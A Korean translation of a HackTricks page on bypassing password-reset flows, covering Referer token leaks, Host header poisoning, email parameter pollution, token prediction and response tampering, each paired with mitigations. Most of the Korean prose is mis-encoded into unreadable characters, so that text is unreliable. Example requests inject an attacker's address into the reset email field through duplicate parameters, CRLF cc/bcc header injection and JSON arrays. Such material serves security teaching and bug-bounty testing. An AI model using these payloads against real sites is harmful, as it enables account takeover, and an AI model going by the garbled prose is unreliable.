# Reset/Forgotten Password Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## **λΉλ°λ²νΈ μ¬μ€μ ν ν° μ μΆ via Referrer**
* HTTP referer ν€λλ URLμ ν¬ν¨λ κ²½μ° λΉλ°λ²νΈ μ¬μ€μ ν ν°μ μ μΆν μ μμ΅λλ€. μ΄λ μ¬μ©μκ° λΉλ°λ²νΈ μ¬μ€μ μ μμ²ν ν μ 3μ μΉμ¬μ΄νΈ λ§ν¬λ₯Ό ν΄λ¦ν λ λ°μν μ μμ΅λλ€.
* **μν₯**: κ΅μ°¨ μ¬μ΄νΈ μμ² μμ‘°(CSRF) 곡격μ ν΅ν κ³μ νμ·¨ κ°λ₯μ±.
* **μ
μ©**: referer ν€λμμ λΉλ°λ²νΈ μ¬μ€μ ν ν°μ΄ μ μΆλλμ§ νμΈνλ €λ©΄, **λΉλ°λ²νΈ μ¬μ€μ μ μμ²**νμ¬ μ΄λ©μΌ μ£Όμλ‘ **μ 곡λ μ¬μ€μ λ§ν¬λ₯Ό ν΄λ¦**ν©λλ€. **μ¦μ λΉλ°λ²νΈλ₯Ό λ³κ²½νμ§ λ§μμμ€**. λμ , **Burp Suiteλ₯Ό μ¬μ©νμ¬ μμ²μ κ°λ‘μ±λ©΄μ** **μ 3μ μΉμ¬μ΄νΈ**(μ: Facebook λλ Twitter)λ‘ μ΄λν©λλ€. μμ²μ κ²μ¬νμ¬ **referer ν€λμ λΉλ°λ²νΈ μ¬μ€μ ν ν°μ΄ ν¬ν¨λμ΄ μλμ§** νμΈνμμμ€. μ΄λ μ 3μμκ² λ―Όκ°ν μ 보λ₯Ό λ
ΈμΆν μ μμ΅λλ€.
* **μ°Έκ³ μλ£**:
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
* [λΉλ°λ²νΈ μ¬μ€μ ν ν° μ μΆ κΈ°μ¬](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **λΉλ°λ²νΈ μ¬μ€μ μ€λ
**
* 곡격μλ λΉλ°λ²νΈ μ¬μ€μ μμ² μ€ Host ν€λλ₯Ό μ‘°μνμ¬ μ¬μ€μ λ§ν¬λ₯Ό μ
μ± μ¬μ΄νΈλ‘ μ λν μ μμ΅λλ€.
* **μν₯**: μ¬μ€μ ν ν°μ΄ 곡격μμκ² μ μΆλμ΄ κ³μ νμ·¨ κ°λ₯μ±.
* **μν μ‘°μΉ**:
* νμ©λ λλ©μΈμ νμ΄νΈλ¦¬μ€νΈμ λν΄ Host ν€λλ₯Ό κ²μ¦ν©λλ€.
* μ λ URLμ μμ±νκΈ° μν΄ μμ ν μλ² μΈ‘ λ°©λ²μ μ¬μ©ν©λλ€.
* **ν¨μΉ**: `$_SERVER['HTTP_HOST']` λμ `$_SERVER['SERVER_NAME']`μ μ¬μ©νμ¬ λΉλ°λ²νΈ μ¬μ€μ URLμ ꡬμ±ν©λλ€.
* **μ°Έκ³ μλ£**:
* [λΉλ°λ²νΈ μ¬μ€μ μ€λ
μ λν Acunetix κΈ°μ¬](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **μ΄λ©μΌ 맀κ°λ³μ μ‘°μμ ν΅ν λΉλ°λ²νΈ μ¬μ€μ **
곡격μλ μΆκ° μ΄λ©μΌ 맀κ°λ³μλ₯Ό μΆκ°νμ¬ λΉλ°λ²νΈ μ¬μ€μ μμ²μ μ‘°μν μ μμ΅λλ€.
* 곡격μ μ΄λ©μΌμ λ λ²μ§Έ 맀κ°λ³μλ‘ μΆκ°νμ¬ &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* 곡격μ μ΄λ©μΌμ λ λ²μ§Έ 맀κ°λ³μλ‘ %20μ μ¬μ©νμ¬ μΆκ°ν©λλ€.
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* 곡격μ μ΄λ©μΌμ λ λ²μ§Έ 맀κ°λ³μλ‘ μΆκ°νμ¬ |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* ccλ₯Ό μ¬μ©νμ¬ κ³΅κ²©μ μ΄λ©μΌμ λ λ²μ§Έ 맀κ°λ³μλ‘ μΆκ°ν©λλ€.
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* bccλ₯Ό μ¬μ©νμ¬ κ³΅κ²©μ μ΄λ©μΌμ λ λ²μ§Έ 맀κ°λ³μλ‘ μΆκ°ν©λλ€.
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* 곡격μ μ΄λ©μΌμ λ λ²μ§Έ 맀κ°λ³μλ‘ μΆκ°νμ¬ ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* 곡격μ μ΄λ©μΌμ JSON λ°°μ΄μ λ λ²μ§Έ 맀κ°λ³μλ‘ μΆκ°νμμμ€.
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
* **μν λ¨κ³**:
* μ΄λ©μΌ 맀κ°λ³μλ₯Ό μλ² μΈ‘μμ μ μ ν νμ±νκ³ κ²μ¦ν©λλ€.
* μ£Όμ
곡격μ λ°©μ§νκΈ° μν΄ μ€λΉλ λ¬Έμ΄λ 맀κ°λ³μνλ 쿼리λ₯Ό μ¬μ©ν©λλ€.
* **μ°Έμ‘°**:
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **API 맀κ°λ³μλ₯Ό ν΅ν μ¬μ©μ μ΄λ©μΌ λ° λΉλ°λ²νΈ λ³κ²½**
* 곡격μλ API μμ²μμ μ΄λ©μΌ λ° λΉλ°λ²νΈ 맀κ°λ³μλ₯Ό μμ νμ¬ κ³μ μ격 μ¦λͺ
μ λ³κ²½ν μ μμ΅λλ€.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
* **μν λ¨κ³**:
* μ격ν 맀κ°λ³μ κ²μ¦ λ° μΈμ¦ κ²μ¬λ₯Ό 보μ₯ν©λλ€.
* μμ¬μ€λ¬μ΄ νλμ κ°μ§νκ³ λμνκΈ° μν΄ κ°λ ₯ν λ‘κΉ
λ° λͺ¨λν°λ§μ ꡬνν©λλ€.
* **μ°Έμ‘°**:
* [API 맀κ°λ³μ μ‘°μμ ν΅ν μ 체 κ³μ νμ·¨](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **λΉμ¨ μ ν μμ: μ΄λ©μΌ νν 곡격**
* λΉλ°λ²νΈ μ¬μ€μ μμ²μ λν λΉμ¨ μ νμ΄ μμΌλ©΄ μ΄λ©μΌ νν κ³΅κ²©μ΄ λ°μνμ¬ μ¬μ©μκ° μ¬μ€μ μ΄λ©μΌλ‘ μλλ μ μμ΅λλ€.
* **μν λ¨κ³**:
* IP μ£Όμ λλ μ¬μ©μ κ³μ μ κΈ°λ°μΌλ‘ λΉμ¨ μ νμ ꡬνν©λλ€.
* μλνλ λ¨μ©μ λ°©μ§νκΈ° μν΄ CAPTCHA μ±λ¦°μ§λ₯Ό μ¬μ©ν©λλ€.
* **μ°Έμ‘°**:
* [HackerOne λ³΄κ³ μ 280534](https://hackerone.com/reports/280534)
## **λΉλ°λ²νΈ μ¬μ€μ ν ν° μμ± λ°©λ² μμλ΄κΈ°**
* ν ν° μμ±μ ν¨ν΄μ΄λ λ°©λ²μ μ΄ν΄νλ©΄ ν ν°μ μμΈ‘νκ±°λ λ¬΄μ°¨λ³ λμ
ν μ μμ΅λλ€. λͺ κ°μ§ μ΅μ
:
* νμμ€ν¬ν κΈ°λ°
* μ¬μ©μ ID κΈ°λ°
* μ¬μ©μ μ΄λ©μΌ κΈ°λ°
* μ΄λ¦ λ° μ± κΈ°λ°
* μλ
μμΌ κΈ°λ°
* μνΈν κΈ°λ°
* **μν λ¨κ³**:
* ν ν° μμ±μ μν΄ κ°λ ₯ν μνΈν λ°©λ²μ μ¬μ©ν©λλ€.
* μμΈ‘ κ°λ₯μ±μ λ°©μ§νκΈ° μν΄ μΆ©λΆν 무μμμ±κ³Ό κΈΈμ΄λ₯Ό 보μ₯ν©λλ€.
* **λꡬ**: Burp Sequencerλ₯Ό μ¬μ©νμ¬ ν ν°μ 무μμμ±μ λΆμν©λλ€.
## **μΆμΈ‘ κ°λ₯ν UUID**
* UUID(λ²μ 1)κ° μΆμΈ‘ κ°λ₯νκ±°λ μμΈ‘ κ°λ₯νλ©΄ 곡격μκ° μ΄λ₯Ό λ¬΄μ°¨λ³ λμ
νμ¬ μ ν¨ν μ¬μ€μ ν ν°μ μμ±ν μ μμ΅λλ€. νμΈνμμμ€:
{% content-ref url="uuid-insecurities.md" %}
[uuid-insecurities.md](uuid-insecurities.md)
{% endcontent-ref %}
* **μν λ¨κ³**:
* 무μμμ±μ μν΄ GUID λ²μ 4λ₯Ό μ¬μ©νκ±°λ λ€λ₯Έ λ²μ μ λν μΆκ° 보μ μ‘°μΉλ₯Ό ꡬνν©λλ€.
* **λꡬ**: [guidtool](https://github.com/intruder-io/guidtool)μ μ¬μ©νμ¬ GUIDλ₯Ό λΆμνκ³ μμ±ν©λλ€.
## **μλ΅ μ‘°μ: λμ μλ΅μ μ’μ μλ΅μΌλ‘ κ΅μ²΄νκΈ°**
* μ€λ₯ λ©μμ§λ μ νμ μ°ννκΈ° μν΄ HTTP μλ΅μ μ‘°μν©λλ€.
* **μν λ¨κ³**:
* μλ΅ λ¬΄κ²°μ±μ 보μ₯νκΈ° μν΄ μλ² μΈ‘ κ²μ¬λ₯Ό ꡬνν©λλ€.
* μ€κ°μ 곡격μ λ°©μ§νκΈ° μν΄ HTTPSμ κ°μ μμ ν ν΅μ μ±λμ μ¬μ©ν©λλ€.
* **μ°Έμ‘°**:
* [λΌμ΄λΈ λ²κ·Έ λ°μ΄ν° μ΄λ²€νΈμ μΉλͺ
μ μΈ λ²κ·Έ](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **λ§λ£λ ν ν° μ¬μ©**
* λ§λ£λ ν ν°μ΄ μ¬μ ν λΉλ°λ²νΈ μ¬μ€μ μ μ¬μ©λ μ μλμ§ ν
μ€νΈν©λλ€.
* **μν λ¨κ³**:
* μ격ν ν ν° λ§λ£ μ μ±
μ ꡬννκ³ μλ² μΈ‘μμ ν ν° λ§λ£λ₯Ό κ²μ¦ν©λλ€.
## **λ¬΄μ°¨λ³ λμ
λΉλ°λ²νΈ μ¬μ€μ ν ν°**
* Burpsuite λ° IP-Rotatorμ κ°μ λꡬλ₯Ό μ¬μ©νμ¬ μ¬μ€μ ν ν°μ λ¬΄μ°¨λ³ λμ
νλ €κ³ μλνμ¬ IP κΈ°λ° λΉμ¨ μ νμ μ°νν©λλ€.
* **μν λ¨κ³**:
* κ°λ ₯ν λΉμ¨ μ ν λ° κ³μ μ κΈ λ©μ»€λμ¦μ ꡬνν©λλ€.
* λ¬΄μ°¨λ³ λμ
곡격μ λνλ΄λ μμ¬μ€λ¬μ΄ νλμ λͺ¨λν°λ§ν©λλ€.
## **ν ν° μ¬μ© μλ**
* 곡격μμ μ¬μ€μ ν ν°μ΄ νΌν΄μμ μ΄λ©μΌκ³Ό ν¨κ» μ¬μ©λ μ μλμ§ ν
μ€νΈν©λλ€.
* **μν λ¨κ³**:
* ν ν°μ΄ μ¬μ©μ μΈμ
λλ κΈ°ν μ¬μ©μ νΉμ μμ±μ λ°μΈλ©λλλ‘ λ³΄μ₯ν©λλ€.
## **λ‘κ·Έμμ/λΉλ°λ²νΈ μ¬μ€μ μ μΈμ
무ν¨ν**
* μ¬μ©μκ° λ‘κ·Έμμνκ±°λ λΉλ°λ²νΈλ₯Ό μ¬μ€μ ν λ μΈμ
μ΄ λ¬΄ν¨νλλλ‘ λ³΄μ₯ν©λλ€.
* **μν λ¨κ³**:
* μ μ ν μΈμ
κ΄λ¦¬λ₯Ό ꡬννμ¬ λ‘κ·Έμμ λλ λΉλ°λ²νΈ μ¬μ€μ μ λͺ¨λ μΈμ
μ΄ λ¬΄ν¨νλλλ‘ ν©λλ€.
## **λ‘κ·Έμμ/λΉλ°λ²νΈ μ¬μ€μ μ μΈμ
무ν¨ν**
* μ¬μ€μ ν ν°μ λ§λ£ μκ°μ΄ μμ΄μΌ νλ©°, κ·Έ μ΄νμλ 무ν¨κ° λ©λλ€.
* **μν λ¨κ³**:
* μ¬μ€μ ν ν°μ λν΄ ν©λ¦¬μ μΈ λ§λ£ μκ°μ μ€μ νκ³ μ΄λ₯Ό μλ² μΈ‘μμ μ격ν μνν©λλ€.
## μ°Έμ‘°
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
κ²½νμ΄ νλΆν ν΄μ»€ λ° λ²κ·Έ λ°μ΄ν° νν°μ μν΅νκΈ° μν΄ [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) μλ²μ μ°Έμ¬νμΈμ!
**ν΄νΉ ν΅μ°°λ ₯**\
ν΄νΉμ μ€λ¦΄κ³Ό λμ μ λν λ΄μ©μ νꡬνμΈμ.
**μ€μκ° ν΄νΉ λ΄μ€**\
μ€μκ° λ΄μ€μ ν΅μ°°λ ₯μ ν΅ν΄ λΉ λ₯΄κ² λ³ννλ ν΄νΉ μΈκ³λ₯Ό μ΅μ μνλ‘ μ μ§νμΈμ.
**μ΅μ λ°ν**\
μλ‘μ΄ λ²κ·Έ λ°μ΄ν° μΆμ λ° μ€μν νλ«νΌ μ
λ°μ΄νΈμ λν μ 보λ₯Ό μ μ§νμΈμ.
μ€λ [**Discord**](https://discord.com/invite/N3FrSbmwdy)μ μ°Έμ¬νμ¬ μ΅κ³ μ ν΄μ»€λ€κ³Ό νμ
μ μμνμΈμ!
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop)μ νμΈνμΈμ!
* π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νμ 곡μ νμΈμ.
{% endhint %}